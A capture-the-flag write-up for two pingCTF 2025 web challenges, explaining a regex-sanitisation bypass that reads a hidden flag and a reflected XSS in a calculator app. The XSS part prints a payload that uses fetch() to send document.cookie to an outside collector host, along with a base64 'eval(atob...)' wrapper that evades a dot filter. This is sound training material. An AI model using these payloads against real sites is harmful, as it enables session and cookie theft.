PingCTF 2025 - slow-down, calc (WEB)

slow-down (133 Solves)

Title: slow-down
Author: tomek7667 Flag format: ping{.*} Description:
Description:
We have a quotes app for you! If you want some inspiration first, make sure to checkout the default quotes we provided. Please don’t read our flag tho, that’s some private stuff.

The challenge provided the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const crypto = require("crypto");
const fastify = require("fastify")({ logger: true });
const flag = process.env.FLAG ?? "ping{FAKE}";
const secret = crypto.randomUUID() + crypto.randomUUID() + crypto.randomUUID();

const defaultQuotes = {
flag,
//...
};

//...
// Update your own quotes or retrieve
fastify.post("/personalized-quotes", async (req, reply) => {
const { name, value } = req.body;
if (!name || typeof name !== "string" || name.length > 50) {
return reply.status(400).send({ error: "Invalid input" });
}

if (!req.session.quotes) {
req.session.quotes = {};
}

if (defaultQuotes[name]) {
return reply.status(400).send({ error: "Already exists in default" });
}

const sanitizedName = name.replace(/[^a-zA-Z0-9 ]/g, "");
if (value) {
req.session.quotes[sanitizedName] = value;
return reply.send({ updated: req.session.quotes[sanitizedName] });
}
return reply.send({
retrieved:
req.session.quotes[sanitizedName] ?? defaultQuotes[sanitizedName],
});
});
//...

name.replace(/[^a-zA-Z0-9 ]/g, "") This regex removes all special characters but allows alphanumeric characters and spaces.

The end point /personalized-quotes allows users to retrieve stored quotes. If value is not provided, it attempts to fetch from req.session.quots or defaultQutes. The defaultQuotes object contains a reference to flag.

1
2
3
4
5
6
POST /personalized-quotes HTTP/1.1
Host: 188.245.212.74:10001
Content-Type: application/json
Content-Length: 16

{"name":"flag+"}

If you set flag+ as the name and do not send a value as above packet, you can retrieve the value of defaultQuotes[flag].

flag

1
ping{fastify-more-like-slowify-hehe-anMtYW5keQ==}

calc (73 Solves)

Title: calc
Author: tomek7667 Flag format: ping{.*}
Description: just a calc app

The challenge provided the source code. And It’s a simple XSS challenge.

The challenge includes a reporting function that triggers a bot. The bot has a cookie containing the flag.

The /test endpoint is vulnerable to XSS as it directly reflects user input from the html query parameter without any sanitization.

1
2
3
fastify.get("/test", async (req, reply) => {
reply.type("text/html").send(req.query?.html ?? "req query html empty");
});

This means you can inject arbitrary JavaScript code through this endpoint.

The bot includes a basic security check as below.

1
2
3
4
// bot.js
const isSafeSuffix = (s) => {
return !s.includes(".");
};

This function prevents input containing a dot(.). In my case, I needed to include a dot (.), so I bypassed it using Base64, as below. And the goal is to steal the bot’s flag cookie by executing JavaScript that sends it to a server.

1
btoa(fetch(`https://czg6xb5z1wg0000akmc0gxadqiwyyyyyb.oast.pro?flag=${document.cookie}`))

When a payload encoded in Base64 is decoded using the atob, it returns the original JavaScript code as a string. However, simply calling atob only produces a string, it means that it doesn’t execute. So, eval is used to execute the decoded code.

1
<script>eval(atob`ZmV0Y2goYGh0dHBzOi8vY3pnNnhiNXoxd2cwMDAwYWttYzBneGFkcWl3eXl5eXliLm9hc3QucHJvP2ZsYWc9JHtkb2N1bWVudC5jb29raWV9YCk=`)</script>

flag

1
ping{cH4r53tt1ng_l1k3-4-Pr0-f211c8998abab934e26d4c2164dc5388}